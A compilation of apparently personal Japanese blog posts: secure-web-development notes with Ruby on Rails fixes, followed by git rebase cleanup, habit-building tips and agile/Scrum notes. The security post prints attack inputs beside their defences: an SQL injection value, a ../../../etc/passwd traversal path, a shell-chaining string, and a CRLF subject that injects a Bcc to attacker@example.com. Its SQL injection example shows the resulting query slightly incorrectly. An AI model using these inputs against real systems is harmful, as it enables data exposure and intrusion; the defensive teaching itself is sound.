安全なウェブサイトの作り方~失敗例~

安全なウェブサイトの作り方を読んだので、理解した内容を自分なりにまとめておきます。資料

上記は3章構成になっていてそれぞれ長めの内容なので、ここでは3章の『失敗例』について、Ruby on Rails ではどうするかについてをまとめます。

SQL インジェクション

参考資料内の SQL インジェクション例を見て、Ruby on Rails ではどのように対策できるかを確認しました。

例えば、下記ような $uid, $pass をユーザ入力とし、SQL 文を動的に生成する場合、ユーザ入力をエスケープ処理しないとデータベースへの不正利用が実現されてしまう。

-- 実行する SQL 文
SELECT * FROM usr WHERE uid = '$uid' AND pass = '$pass'

-- $uid に `'goruchan--` を入力された際の SQL 文。パスワードなしで全情報が取得される。
SELECT * FROM usr WHERE uid = goruchan

Ruby on Rails の場合、DB の操作は ActiveRecord を介して行う。

image ActiveRecord とは

検索には find_by メソッド*1where メソッド*2が使える。上記の SQL 文は下記のようにかける。

# 脆弱性のある書き方
user = User.find_by("uid = '#{params[:uid]}' AND pass = '#{params[:pass]}'")

# SQL インジェクションへの対策後
## ユーザ入力をサニタイズする
search_sql = sanitize_sql_array(["uid = ? AND pass = ?", params[:uid], params[:pass]])
user = User.find_by(search_sql)

## 位置指定ハンドラで記述
user = User.find_by("uid = ? AND pass = ?", params[:uid], params[:pass])

## キーワード引数にて記述
user = User.find_by(uid: params[:uid], pass: params[:pass])

対策後の書き方はいずれも同等で、可読性等から選択する。個人的にはキーワード引数のやつが読みやすい気がする🤔

OS コマンドインジェクション

Ruby で外部コマンドを実行する方法は、いくつかある(OS コマンドインジェクション ):

# system:コマンドを実行し、実行結果の真偽値を受けとる
result = system("ls -l")
puts result #<= 成功なら true, 失敗なら false

# exec:Ruby のプロセスを外部コマンドに置き換えて実行。コマンド実行結果は受け取らない
exec("ls -l") #<= コマンド実行に成功する場合、Ruby プロセスから抜ける
puts "この行は実行されない"

# バッククォート:外部コマンドを実行し、実行結果を文字列として取得
result = `ls -l`
puts result #<= コマンド実行時の結果

Ruby で外部コマンドをエスケープするには module Shellwords が使える。

require 'shellwords'

pattern = 'file || ls'

# エスケープせずにそのまま実行
puts "grep #{pattern}"
# => grep file || ls

# コマンドライン中に影響ある文字をエスケープする
puts "grep #{Shellwords.shellescape(pattern)}"
# => grep file\|\|\ ls

上記はいずれもシェルを起動して実行している。シェルの機能を実行させないことで OS コマンドインジェクションの脆弱性を解消できる。

Open3Ruby の標準ライブラリの一部で、外部プログラムを実行するためのモジュール。次のようにして実行できる:

require 'open3'

# popen3 メソッドを使用して外部コマンドを実行
Open3.popen3('ls', '-l') do |stdin, stdout, stderr|
  while line = stdout.gets
    puts line
  end
end

# `capture3`メソッドを使用して外部コマンドを実行
command = 'ls -l'
stdout, stderr, status = Open3.capture3(command)
puts "Standard Output: #{stdout}"
puts "Standard Error: #{stderr}"
puts "Exit Status: #{status.exitstatus}"

パス名パラメータの未チェック例(ディレクトリトラバーサル

パス名パラメータに関する脆弱性は『ディレクトリトラバーサル攻撃』につながる。下記は脆弱性を含むコードで、/etc/passwd で重要情報が見れるようになってしまう。絶対パスに対して対策しても ../../../etc/passwd として相対パスで指定されると表示してしまう。

file_name = params['file_name']
file_name = 'nofile.png' unless File.exist?(file_name)

File.open(file_name, 'rb') do |file|
  IO.copy_stream(file, $stdout)
end

ここへの対策は、パス名からファイル名だけを取り出して使用することが根本的解決になる。Ruby では singleton method File.basename が用意されているのでそれを利用すると次のコードになる:

- file_name = params['file_name']
+ file_name = File.basename(params['file_name'])

不適切なセッション管理例(セッション ID の推測)

あらゆるセッションは cookie を利用してセッション固有の ID を保存し、多くのセッションストアでは、サーバ上のセッションデータ(データベーステーブル等)を検索する時に、このセッション ID を使用する。

不適切なセッション管理の具体例として、推測可能なセッション ID を用いてしまうことがある。セッション ID 生成を自前でやる場合には、下記のような推測しやすい ID を生成せずに、乱数発生器等によって生成される安全な値を利用すること。

  • 三者が推測可能なセッション ID 生成
    • 単純な ID のインクリメント
    • Unix 時間とプロセス ID の組み合わせ
  • 三者が観測可能セッション ID 生成

Rails では、アプリケーションにアクセスする毎にセッションオブジェクトを1つ提供する。ユーザがアプリケーションを既に利用中の場合は既存のセッションを読み込み、そうでない場合は新規にセッションを作成する。 セッション ID は generate_sid 内の SecureRandom で安全な乱数発生器によって生成される。

また、Rails のデフォルトのセッションストアは CookieStore で、cookie データは改ざん防止のため暗号署名が追加され、cookie 自身も暗号化されている。

セッション

上記の通りのため、Rails をデフォルトで利用するのであれば、推測可能な ID 生成については心配不要と言えそう🧐

クロスサイト・スクリプティングの例(エスケープ処理)

XSS は Web アプリケーションにスクリプトを埋め込むことが可能な脆弱性がある場合に、利用者のブラウザ上で不正なスクリプトが実行されてしまう攻撃のこと。

XSS は根絶が難しい脆弱性である。XSSにまとめた中のエスケープ処理については、次の見落としポイントがあるので注意する:

  • ユーザ入力内容のエスケープ処理の未実施
  • テキスト形式の入力値にのみに注目してしまう
  • 404 Not Found』ページに表示する URL のエスケープ忘れ
  • 入力フォームの入力を制限する
  • ブラックリスト方式のみによる入力チェック

Ruby on Railsエスケープ処理に関して脆弱性のあるコードを考える:

# app/controllers/posts_controller.rb
class PostsController < ApplicationController
  def show
    @post = Post.find(params[:id])
  end
end
<!-- app/views/posts/show.html.erb -->
<h1><%= @post.title %></h1>
<p><%= @post.content %></p>

上記はユーザ入力をそのまま表示してしまっているので、ブラウザ上で悪意あるスクリプトを実行される可能性がある。show.html.erb に対して、以下ようなエスケープ処理が必要。

- <p><%= @post.content %></p>
+ <p><%= sanitize(@post.content) %></p>

個人的には出力全てに対してエスケープ処理ができているかの確認は人手でやるのはなかなか骨が折れると感じてます。そこで、Security Scan Tools と呼ばれる XSS 検出や診断を行うツールを活用するといいそうです。

  • ZAP

    オープンソースの Web アプリケーションセキュリティスキャナで、以下の特徴がある。

    • アクティブスキャン*3とパッシブスキャン*4
    • 多彩なプラグインによる拡張性の高さ
    • API 対応による他ツールとの連携
  • Brakeman

    Ruby on Railsアプリケーションのセキュリティ解析を行うオープンソースのツールで、以下の特徴がある:

    • 静的解析
    • 標準的なセキュリティ問題の検出(SQL インジェクション、XSS 等)
    • 報告とアドバイスのレポート生成

CSRFの例

CSRF は悪意ある Web ページが、他の Web サーバへのリクエストを偽造(フォージェリ)し、ユーザの意図しない処理を他の Web サーバで実行させる攻撃のこと。被害者が認証済みにであることを利用し、悪意あるリクエストを送信することで、Web サーバにてアクションを実行させる。

具体的なイメージとしては次の図が参考になりました。

image CSRFとは?

上記のようにログイン状態にて③が実行されると、Web アプリケーション A をそのまま実行してしまうと攻撃が成立する。これは、攻撃される Web サーバにて受け取ったリクエストがユーザ本人かどうかを確認していないことが原因で発生する。

対策としては、一般的には 『CSRF トークンの使用』がある。CSRF トークンは Web サーバが生成し、cookie や フォームんどを通じてクライアントに提供される。
このトークンは悪意ある Web ページからのリクエストからは取得できないため、リクエストにこのトークンがあることで正当性を判断できる。

Ruby on Rails では、必須セキュリティトークンが用意されている。config.action_controller.default_protect_from_forgerytrue に設定すると自動的に行われるようになる。

また、Rails で新規作成したアプリケーションには次のコードがデフォルトで含まれる。

protect_from_forgery with: :exception

この設定は、Rails で生成される全てのフォームと Ajax リクエストにセキュリティトークンが自動的に含まれるようになり、セキュリティトークンがマッチしない場合例外がスローされる。

上記の通りなため、Rails を変な使い方をしない限りは CSRF に対する対策は織り込まれた状態と言えそう。

HTTP ヘッダ・インジェクションの例

HTTP ヘッダインジェクションは、攻撃者が Web アプリケーションの HTTP ヘッダに不正情報を挿入することを試みる攻撃手法で、次の攻撃につながる可能性がある。

  • セキュリティヘッダの改ざん:セキュリティヘッダ操作による XSS やクリックジャッキング等の攻撃の有効化
  • セッションハイジャック:セッションヘッダ操作によるセッションを乗っ取り
  • リダイレクト攻撃:Location ヘッダ操作による悪意あるサイトへのリダイレクト

上記の原因は、ユーザからの入力データをそのまま HTTP ヘッダで使ってしまうことにあるため、ユーザからの入力データを適切に検証、エスケープする対策が有効。具体的には、ヘッダーインジェクションの攻撃経路は、ヘッダーへのCRLF文字インジェクションに基づいているため、CRLF 文字のエスケープ対策が必要。

Rails では Rails 2.1.1 以降では redirect_to メソッドの Location フィールドから、それらの文字がエスケープされるようになったとのこと。

ヘッダーインジェクション

何かしら、ユーザ入力を用いて通常以外のヘッダーフィールドを作成する場合には、CRLF 文字のエスケープを自身で必ず実施する必要がある。

メールヘッダ・インジェクションの例

メールヘッダ・インジェクションは、主にメール送信時に攻撃者が不正なメールヘッダを挿入することで発生する。根本的な解決策としては、ユーザ入力値をメールヘッダに出力せず、メール本文に出力すれば良い。

Ruby on Rails でメール送信を行うシーンを考える。まずは脆弱性のある書き方を考える。

class UserMailer < ApplicationMailer
  def welcome_email(user, subject)
    @user = user
    mail(to: @user.email, subject: subject)
  end
end

上記は、mail メソッドを用いてメールを送信し、to ヘッダはハードコートされているが、subject ヘッダはユーザ入力をそのまま使用している。

攻撃者が改行文字を挿入することで、追加のメールヘッダを挿入できてしまう:

subject = "Welcome to My App\r\nBcc: attacker@example.com"
UserMailer.welcome_email(user, subject).deliver_now

# 生成されるメールヘッダ
# To: user@example.com
# Subject: Welcome to My App
# Bcc: attacker@example.com

上記のようなことを避けるために、ヘッダ関連のものはユーザ入力に対応させない(ハードコートする。今回の例なら 'Welcome to My App'として subject に埋め込む)、もしくは改行コードを適切に処理する必要がある。

参考

*1:一致する最初のレコード、つまりモデルのインスタンスを返す

*2:一致する全てのレコード、つまりモデルのコレクション(配列)を返す

*3:アプリケーションに対する攻撃による脆弱性検知

*4:通信傍受によるセキュリティ問題の特定

git の commit がぐちゃぐちゃになった際の整理方法

概要

本記事は rebase で運用するリポジトリでコミットがぐちゃぐちゃなってしまい、コンフリクト対応に苦労した自身の対応記録になります。

上記を回避するには、コミットの整理が有効です。

コミットを整理するには git rebase -i が使えます。ローカルブランチでのコミットは細かくしても OK ですが、リモートへ push する前にコミットを整理する際に使うと良いです。理由は、整理せずにコミットすると、不用意に触ってしまったファイルなどがあるとコンフリクトのリスクが高まり開発効率が落ちるためです。

背景

まずは rebase をうまく使いこなせていなかったことで、下記のようなブランチになってしまった。

  • 自身の変更と関係のないコミットが含まれる

    Image from Gyazo

  • 複数ファイルをいじったコミット(触った後に元に戻す)があり、コンフリクト多発

そもそもどうすべきだったか

  • git rebase の意味を把握する

    rebase は自分の変更を後ろに足すという流れなので、複数ファイルを触ったようなコミットがあるとコンフリクトが発生しやすくなります。よって、後述のコミットの整理を行うことでそうした履歴を残さないのが重要

    image.png https://www.sejuku.net/blog/wp-content/uploads/2018/09/git-rebase3-640x360.png

  • コミットを整理する

    上述の通り、コードが固まるまでは、コミットを細かくするのは別に構わないですが、ある程度形になってきたら、コミットの整理が必要。上述の通り、コンフリクト発生予防が期待できるためです。

    コミットをまとめるのは、git rebase -i <ひとまとめにする地点の一つ前のコミットID> で実現できる。下記の例だと、ブランチAの前の『開始地点』コミットを指定する。

    image.png https://www.sejuku.net/blog/wp-content/uploads/2018/09/git-rebase6-640x360.png

    ローカルブランチからリモートへ上げる前に必ずコミットを整理したい。

で、ぐちゃぐちゃになった時にどうするか?

対応方法は大きく2つある。いずれも新規ブランチを main から立てるところは変わらない。その後の作業は次のパターンがある。

  • 変更コード内容を手作業で貼っていく

    Github なら『Files changed』タブの内容を見ながら、変更コードをペタペタと新しいブランチに貼っていく。この方法は、後述の cherry-pick を知らなくてもできるので、パッとできる方法で手軽だと思います。

  • cherry-pick で対応

    必要なコミットを指定して取り込んでいく。git cherry-pick <取り込むコミットID> でコミットを取り込むことができる。cherry-pick という git の機能を活用するので、少し慣れた人向けだと思います。操作の流れは下記のような感じかなと思います。

    1. リモートの main ブランチから新しいローカルブランチBを立る
    2. ぐちゃぐちゃになったブランチAから必要なコミットを git cherry-pick <commitID> で取り込む
    3. 最後に、git rebase -i でコミットを整理する

    上記の流れを図示してみると下記のような感じ。

    Image from Gyazo

    Image from Gyazo

上記のようにすることで、ぐちゃぐちゃになったコミットを整理できるようになる。コミットが綺麗にできたら git push origin <ブランチ名> --force-with-lease でプッシュしてあげれば良い。

実際にやってみる

  1. まずはリモートリポジトリの main ブランチから新しいブランチを立てる。
  2. 必要なトピックを git cherry-pick <取り込むコミットID> で抜き取る

    元々70個あったコミット(自身のコミット以外が混ざっている状態)から、自身の変更分のみを抽出し、下記のような感じにしました。

    Image from Gyazo

  3. cherry-pick だけで対応できていない部分の修正

    FBC アプリの場合、main が毎週更新されるので、対応できていない部分が発見されたら対応する(今回に限らず、いつも通りの作業)

  4. git rebase -i でコミットを意味のある単位にまとめる

    今回は、main ブランチのコミットを開始地点として指定して、git rebase -i を実行します。すると、次のような画面になる。

    Image from Gyazo

    上記の pick となっている部分はコミットを残す部分で、まとめたいコミット部分は squash にしていく。ポイントは古いコミットにまとめていくので、まとめる側の古い側を squash にする。今回は次のように修正。

    Image from Gyazo

    次にコミットメッセージを修正していく。上記では、コミットを3つのコミットにまとめるので、メッセージも3回更新する。更新完了すると次のような感じになる。

    Image from Gyazo

    コミットがまとまったかを git log --graph で確認してみます。

    Image from Gyazo

    十数個あったコミットが1つにまとまりました🙌

ここ2週間くらい、rebase のコンフリクトに苦しみましたが、そのおかげで理解が深まった気がします。今後は無闇にリモートから rebase せずにまずはローカルを整理してから対応をしていこうと思いました😅

Git 操作でやらかした場合

git reflog が使える。上記を実施している際にも、何度も git 操作をやり直すことになったんですが、git reflog がめちゃめちゃ優秀でした👀今後も何かあった時には、頼ろうと思いました。

参考

継続するコツ

はじめに

この記事はフィヨルドブートキャンプ Part 1 Advent Calendar 2023の記事です。

前日の記事は、Part1 は リサ さんの『プログラミング系のイベントにスタッフとして参加した話』、Part2 は ふわ さんの『フィヨルドブートキャンプを卒業して、エンジニアになりました』でした🎉

この記事は何の話?

こんにちは、フィヨルドブートキャンプ(以下FBC)の goruchan と申します🙇‍♂️

タイトルの通り、自分が実践している継続するコツについてのお話です。

何事も最初は『やるぞーーー💪』と意気込んではじめることが多いと思います。
ですが、次第に『うーん、やる気が起きないから今日はいいか』⇨『今日は仕事が忙しく、もう夜も遅いし明日頑張ろう』となって、最終的にやらなくなってしまう方は多いんじゃないでしょうか?

そんな方に向けて自分が取り組んでいる『継続するコツ』について紹介させてもらいます💪コツ自体は全てのことに対して当てはめられるものなので、色々なところに応用が効くと思います!

継続のコツ

時間ない方や将来の自分に向けて、最初にコツをまとめておきます!

  • 情熱のエネルギー消費を抑えるために習慣化させる

    何も考えずにシステマチックにできるようなるまで習慣化させましょう。寝る前の歯磨きなど習慣化された行動はエネルギー消費が小さいですよね。

  • 習慣化させるために小さくはじめる

    失敗ができないほど小さく物事を始めます。学習に関して言えば、最初は『学習机の椅子に座る』でもいいかもしれないです😂
    小さすぎて失敗するはずがない行動を設定すれば、自然と毎日繰り返すことができるようになります。
    そして徐々に『小さな習慣』の強度を上げていくとよいです。

上記を意識して行動すれば、燃料切れなく活動を継続できると思います!まずは『バカバカしいくらいの行動』を考えてトライしてみていただければと思います!!

コツ自体を知っていただければ、以下はおまけみたいなものです😂コツの詳細を知りたい方は 小さな習慣 を読んでみてください!自分はその内容を実践しているだけですので💪

なぜ書こうと思った?

昨年のアドベントカレンダーでは、コミュニティ参加できない人に送る一言という記事を書きました。

その記事の中で、『恐いのはみんな一緒。楽に考えよう。だったら、とりあえずやってみてからでいいんじゃない?』と結びましたが、この1年の活動の中で『やってみるにもエネルギーが必要🤔』という現実問題に気づきました。

情熱プログラマーの中に下記の文言があります。

情熱とは君のクリエイティブなエネルギーの1番の源だ...
情熱というのは再生可能なエネルギーだけれども、再生するまでに時間がかかるから、賢く使わなきゃならない...
情熱はあくまでも資源であり、各自が責任をもって使えばいい

上記の通り、行動にはエネルギーが必要であり、それを賢く運用しないと燃料切れを起こして行動をやめることにつながってしまうということです。

情熱プログラマーでは、ソフトウェア開発者として『どう行動するとよいか』の行動については記述していますが、その行動を継続的に賢く運用する方法までは書かれていなかったかと思っています。

実際、自分も途中で息切れを起こし、学習がまちまちになってしまいました😓下の図は FBC キャンプ生の皆さんはおなじみの『学習時間の草』です。

image.png

6月まではかなりまちまちな学習となっていますが、以降では少しずつ継続して学習ができるようになっていることがわかるかと思います。10月中旬以降では、コツに対する意識を修正することで今のところ毎日学習できています💪

せっかく実績も出てきたので、そのノウハウを共有できれば同じようにエネルギー切れを起こした人のお役に立てるかと思い、書かせていただきました👍少しでも役に立てれば幸いです🙌

そもそもなぜ継続できなくなるのか?

結局のところ、『行動にはエネルギーを使う』という点にあります。行動はもちろん、意思決定することにさえエネルギーを使います。

情熱が100%ある場合には行動できていても、だんだんと情熱が失われると燃料切れを起こしてしまいます。さらに悪いのは燃料が減ってくるにつれて、意思決定で必要とする意志の力がぐんと大きくなることです。疲れていて『やる気出ないなー』という状況の時に、行動に移すのってめちゃくちゃ大変ですよね😵‍💫

なので、情熱を賢く管理するためには『エネルギーを使わずに行動できる』ようにすることが重要になってきます。

どうするとよい?

エネルギーを使わずに行動するには次の2つが重要になります。

  • 行動を習慣化する
  • 習慣化するために小さくはじめる

上記を意識することで情熱を賢く運用できるようになると思います。

行動を習慣化する

エネルギーを節約するには、何も考えずに自動的に行動できるようになると良いです。習慣化された行動は、潜在意識で自動的に繰り返される行動となり、情熱をほぼ使わないといえます。

つまり、習慣化した行動を実現しエネルギーを使わないことで、情熱の燃料切れを予防するという戦略になります。

習慣化するために小さくはじめる

ここまで読むと『行動の習慣化が大事なのはわかった。でも習慣化自体が大変でしょ😓』とお思いになると思います。そこで『小さくはじめる』がポイントとなります。

『小さい』というのは 小さすぎて失敗すらできない ものを設定します。そして、その小さな習慣はステップを踏んで大きくしていきます。現在取り組んでいる小さな習慣が習慣化されたら、次のステップに移行するというのような形で徐々に自動的にできる領域を増やしていけばいいと思います。

例えば、『朝早起きして勉強する』については次のようにして段階的に進めるといいと思います。

  1. まずは早く起きるために 21 時までに寝る
  2. 朝起きたら目を開けた状態で 10 秒数える
  3. 朝起きたら布団から出る
  4. 朝起きたら勉強机に座る
  5. 朝起きたら勉強机に教科書を開く
  6. 朝起きたら勉強机に教科書を開いて読む(学習開始)
  7. 朝起きたら勉強を5分やる

大抵の場合、ちょっと取り組むとおまけとしてもっと多くのことがこなせます。上記のステップにおいては、5. 以降ではおまけで学習できるようになっていると思います。

ポイントは バカバカしくて失敗もできないような ことを設定することにあります👌自分にとってこんなの余裕でできるということを設定してみてください。

実践した小さな習慣

自分が最初に設定した小さな習慣は、『プラクティスを進めたい』のと『積読本が溜まってきているので読むようにしたい』と思っていたので、下記のように設定しました😅😅

image.png

だんだん習慣化が進むともうちょい増やしてもいけそうだな感じるようになるので習慣を増やします。

自分の場合、『健康のために筋トレもしとくか』、『せっかく本読むなら、一番大事だなと思ったくらいはまとめておくかー』といった感じで習慣をアップデートしました。達成状況もほとんど達成でき、書いても意味ないので具体的な結果を書くようにしようという感じで、各習慣の具体的な実施結果がわかるように修正しました。

image.png

上記の結果を見ると、おまけでかなり実践できていることがわかるかと思います!読書は最低限でしたが、それでも自分で設定した目標をクリアできているので、何も自分の落ち度はないので情熱を失いません👌

もっと楽に進められるように意識を変えた

学習時間の草に示したように『小さな習慣』を実践してからも、ちょくちょくできない日がありました。これはちょっとした背伸びがあったと思っています。

小さな習慣は『おまけを活用し、副次的に行動が増えることを目指している』と自分は考えます。頭ではおまけと分かりつつも、『設定した目標をいっぱい超えたい』と思ってしまい、それがエネルギー消費につながり、行動が億劫になり実践できなかったかなと思っています。

そこで、『設定した目標を文字通り受け取る』と意識を切り替えました。上記の習慣においては、本当に『最低1分で良い』と意識しました。そうすることで最初の一歩のハードルがさがり、継続できるようになりました。そして大抵は、おまけで『当初設定よりは少し』多めにできていました🙌

『小さな習慣』の応用

小さな習慣は習慣づけにも有効ですが、『小さくはじめる』こと自体もとても重要です。仕事で『このタスクは面倒で気分乗らないなー』という時も『バカバカしいくらい小さいタスク』にして取り組むと、なんとか仕事に取り掛かれます。そして、大抵おまけでいいところまでタスクをこなせています。ぜひ試してみてください👍

最後に

自分が直面した継続することの難しさを克服する方法を紹介させていただきました。『継続学習ができない』や『気分の乗らないタスクやりたくないーーー』と、自分と同じように悩む方、ぜひ試していただければと思います👍また、アレンジ方法などあれば、ぜひ共有いただければと思います💪

継続のコツ自体は小さな習慣を参考にしています。こちらは FBC メンターの betachelsea さんから紹介いただきました。FBC では実践的なこと以外にも、様々な方面でのエッセンスを教えていただけるのでとてもオススメです🎉

アジャイル開発とスクラム

以前学んだアジャイル開発とスクラム開発について少し整理する機会があったのでまとめておこうと思います。

アジャイル開発

アジャイル開発のマインドセット

アジャイル開発には共通のマインドセットがあり、そこには『4つの価値』とその価値に由来する『12 の原則』がある。

4つの価値

アジャイルソフトウェア開発宣言の中に次の記述がある。

プロセスやツールよりも個人と対話を、
包括的なドキュメントよりも動くソフトウェアを、
契約交渉よりも顧客との協調を、
計画に従うことよりも変化への対応を、
価値とする。すなわち、左記のことがらに価値があることを 認めながらも、私たちは右記のことがらにより価値をおく。

上記の原則に対して、IPAアジャイルソフトウェア開発宣言の読みとき方では次のように解釈している。

価値 解釈
個人と対話 対面コミュニケーション:個人同士の対話を通じて相互理を解深めることで、よりよいチームが作られる
動くソフトウェア 実働検証:動くソフトウェアを使って繰り返し素早く仮説検証をし、その結果から学ぶことがより良い結果を生み出す
顧客との協調 顧客との Win-Win 関係:お互いの立場を超えて協働することにより、よりよい成果と仕事のやり方を作ることができる
変化への対応 変化を味方に:顧客のニーズやビジネス市場の変化は事前計画を狂わす脅威ではなく、よりよい成果を生み出す機会と捉える

上記の通り、アジャイル開発宣言では、開発プロセスとしての価値を提案している。

12の原則

アジャイル開発では、その宣言の背後にある『12の原則』を定めている。原文の解釈について、IPAアジャイルソフトウェア開発宣言の読みとき方でまとめられている内容と合わせて下記にまとめる。

顧客満足を最優先し、価値のあるソフトウェアを早く継続的に提供します

解釈 説明
顧客の満足を求め続ける ビジネス側の人と開発者にとって最も重要な活動は、価値のあるソフトウェアを素早く継続的に提供し、顧客に(QCDの達成ではなく)ビジネスゴールの達成の観点で満足してもらうこと

要求の変更はたとえ開発の後期であっても歓迎します。変化を味方につけることによって、お客様の競争力を引き上げます

解釈 説明
要求の本質を見抜き、変更を前向きに 改善につながる要求は、新しい価値を見つけた証拠。勇気を持って変更を受け入れることで、変化に強くなり、企業の競争力を高めることに貢献する

動くソフトウェアを、2-3週間から2-3ヶ月というできるだけ短い時間間隔でリリースします

解釈 説明
成果物を2−3週間で、リリースし続ける ビジネス側の人が積極的にビジネスの舵取りができるよう、ビジネス側の人と開発者は2−3週間の短い期間で、成果物を定期的にリリースする

ビジネス側の人と開発者は、プロジェクトを通して日々一緒に働かなければなりません

解釈 説明
全員で共通の目標に向かおう ビジネス側の人と開発者が共通目標に向かって一緒に働くことで、一連のリリースおよびフィードバックのサイクルが円滑になる

意欲に満ちた人々を集めてプロジェクトを構成します。環境と支援を与え仕事が無事終わるまで彼らを信頼します

解釈 説明
人の意欲は信頼から プロジェクトを成功させるため、開発者には意欲のある前向きな人々を集めて、彼らが働いやすい環境を整えることが必要

情熱を伝えるもっとも効率的で効果的な方法はフェイストゥフェイスで話をすることです

解釈 説明
コミュニケーションは直接対話で お互いの本音をフェイストゥフェイスで汲み取り、直接対話すること大切

動くソフトウェアこそが進捗の最も重要な尺度です

解釈 説明
進捗も品質も現物で 進捗状況を最も正確に測るには、動くソフトウェアを確認するのが一番。進捗状況は、求められている価値をどれだけ実現できているかであり、計画通り進んでいるかということではない。

アジャイル・プロセスは持続可能な開発を促進します。一定のペースを継続的に維持できるようにしなければなりません

解釈 説明
一定のペースでプロジェクトにリズムを 無理のない一定の開発ペースを保つことで、ビジネスを成功に導く。過負荷なパフォーマンスを求める状態では、創意工夫や改善という意欲が起きない。開発者の生産性を最大化するために、チームの心身がベストな状態を保てるように無理のない一定のペースが重要。

技術的卓越性と優れた設計に対する普段の注意が機敏さを高めます

解釈 説明
よい技術、よい設計、よい品質の追求 新しいビジネスを支えるソフトウェアは、状況に応じて素早く変更できることが求められる。そのためには優れた技術・設計が必要であり、品質については高い保守性が必要。よって、技術者は技術力を磨き、プロダクトへの適用技術、設計に対して常に注意を払わないといけない。

シンプルさ(ムダなく作れる量を最大限にすること)が本質です

解釈 説明
ムダ=価値を生まない、を探してヤメる ビジネス側の人と開発者は、顧客が求める価値が何かを考え、その価値に直結しない作業や機能をムダと定義し、ムダを減らすために最大限努力する必要がある。よくあるのは『作りすぎのムダ』で、本当に必要な要求なのかをビジネス側に確認する。これまでの常識や慣習にとらわれずに、新鮮な目で現状を見るのが大事。

最良のアーキテクチャ・要求・設計は、自己組織的なチームから生み出されます

解釈 説明
よいものはよいチームから 最良のアーキテクチャ・要求・設計は、最良のチーム(自律型チーム)から生み出される。自立型チームは、メンバー一人ひとりが自らの行動・作業に責任を持ち、お互いの連携により、チームの成果を最大限に発揮することができるチームのこと。そのために規律・ルールをチームで決め、メンバー各自が率先して行動することが求められる。

チームがもっと効率を高めることができるかを定期的に振り返り、それに基づいて自分たちのやり方を最適に調整します

解釈 説明
自分たちのやり方を毎週、調整する チームが成長し続けるためには、定期的にふりかえり、自分たちのやり方を調整し続けることが大事。失敗を許容し、すぐに改善できるようにチームで話しあい課題に立ち向かう。

アジャイル開発の進め方

アジャイル開発は、アジャイル開発宣言、および原則に従い、次のような進め方をする

  • 関係者は目的達成のためにお互いに協力し合いながら進める
  • 一度にまとめてではなく少しずつ作り、早い段階から実際に動作するものを届け続けて評価を繰り返す
  • 利用者の反応や関係者からのフィードバックを継続的に得ながら、作っているもの自体や計画を調整する。

また、アジャイル開発手法には、次の種類のものがある:

共通するのは『事前に全て正確に予測し、計画することはできない』ということを前提にしている点。

アジャイル開発では、どのくらいの期間・人数で仕事をするかを決めて、その範囲の中で大事な要求から順にプロダクトを作っていく。よって、重要なものから先に作り、そうでないものを後回しにして成果を最大化することを目指す開発といえる。

なぜアジャイル開発なのか

ウォーターフォールアジャイルでも、要件定義や設計は行い、プロセスの共通部分は多い。

違いとしては、ウォーターフォールは、各工程が滝が流れるように進み、各工程の成果物を完成品とみなし、あと工程での手戻りが発生しないように進める。

一方、ジャイルでは反復的に開発が進み、スプリントごとに動くソフトウェアが作られ、次のスプリのではそのソフトウェアから得られた気づきを基に要件レベルから見直される。

ユーザが本当に欲しいものは『潜在的なニーズ』であることが多いため、実際に製品を使ってみるまでは、本音が得られることが少ない。そうした状況において、ウォーターフォールでは全部できてからでないと製品を使えず、最後になって『なんか、これじゃない、、、😱』ということになってしまう。

アジャイルでは、小さいサイクルで動くものを少しずつ作っていき、都度ユーザにフィードバックしてもらい開発を進めるため、最終的にユーザの求めた機能が提供できる。

また、いくつかの要件を形にした後で、新しい要件に気づいたり、実装を進める中でより良い設計を思いついたりした場合にも、アジャイルではフィードバックで取り入れることが可能。

所感

アジャイル開発において、個人的に最も重要だと思うのは自己組織化の部分と思っています。自己組織的に動けていないと、それは、アジャイル開発ではなく、やり方だけ真似ている開発なのじゃないかなと思っています。自身が取り組む際には、しっかり自己組織的に動けているかを確認していきたいなと思います。

スクラム開発

スクラムとは

スクラムアジャイル開発の手法の一つで、スクラムガイドには次のように記述されている:

複雑な問題に対応する適応型のソリューションを通じて、人々、チーム、組織が価値を生み出すための軽量級フレームワークである。
スクラムは『経験主義』と『リーン思考』に基づいている。経験主義では、知識は経験から生まれ、意思決定は観察に基づく。リーン思考では、ムダを省き、本質に集中する。

上記を実現するために、スクラムには『3本柱』と『5つの価値基準』が定められている。

3本柱

  • 透明性

    スクラムにおける重要な意思決定は、以降説明する3つの作成物を認知する状態に基づく。透明性が低いと、価値を低下させ、リスクを高める意思決定につながる。透明性があることで検査が可能になる。

  • 検査

    スクラムの作成物と合意された進捗状況は、適切に検査し、潜在的に望ましくない変化や問題を検知する必要がある。検査を支援するために、スクラムには以降で説明する5つのイベントでリズムを作っている。検査があることで適応が可能になる。

  • 適応

    プロセスで何かしら逸脱や、成果が受け入れらない時は、プロセスや構成要素を調整し適応する必要がある。関係者に十分な権限が与えられていない時、自己管理されていないチームでは適応が難しい。スクラムチームは、検査によって新しいことを学んだ瞬間に適応することが期待される。

価値基準

スクラムが成功するかどうかは、以下の5つの価値基準を実践できるかによる:

価値基準 説明
確約(Commitment) ゴールに達成し、お互いにサポートすることを確約する
集中(Focus) ゴールに向けて可能な限り進捗できるように、スプリントに集中する
公開(Openness) スクラムチームとステークホルダーは、作業や課題を公開する
尊敬(Respect) メンバーはお会いがいに能力ある独立した個人として尊敬し、一緒に働く人たちからも同じように尊敬される
勇気(Courage) 正しいことをする勇気や困難な問題に取り組む勇気を持つ

スクラム開発のルールセット

スクラム開発では、『3本柱』、『価値基準』を具現化するためのルールセット(5つのイベント、3つのロール、3つの作成物)を用いて実践する。

5 つのイベント(会議等)

イベント名 説明
スプリント ・固定期間に区切って開発する際の単位。最長でも1ヶ月
・スプリントは他のイベントの入れ物
スクラムではスプリントを繰り返すことでリズム良く開発を進める
スプリントプランニング ・スプリントを進める計画のためスプリントの冒頭で行う
・スプリントで何(what)をどう(how)作るかを計画する
デイリースクラム ・スプリントゴール達成のための毎日の状況確認
・昨日やったこと、今日やること、障害となることなどを話す
スプリントレビュー ・スプリントでの成果物をデモする
・フィードバックを受けて、プロダクトバックログを見直す
・今後の予定や見通しの共有
スプリントレトロスペクティブ ・直近スプリントでのカイゼン活動
・バグが生まれるプロセスを直す
・提案されたカイゼンの1つは次回のスプリントに必ず反映する

3つのロール(人の役割)

ロール名 説明
プロダクトオーナー プロダクトバックログ管理の責任者
開発チーム ・プロダクトバックログを開発する人
・機能横断的なチームである必要がある
(開発チームでプロダクトを作るための作業全てができる。)
スクラムマスター スクラム開発のプロセスが円滑に回るように仕切る人
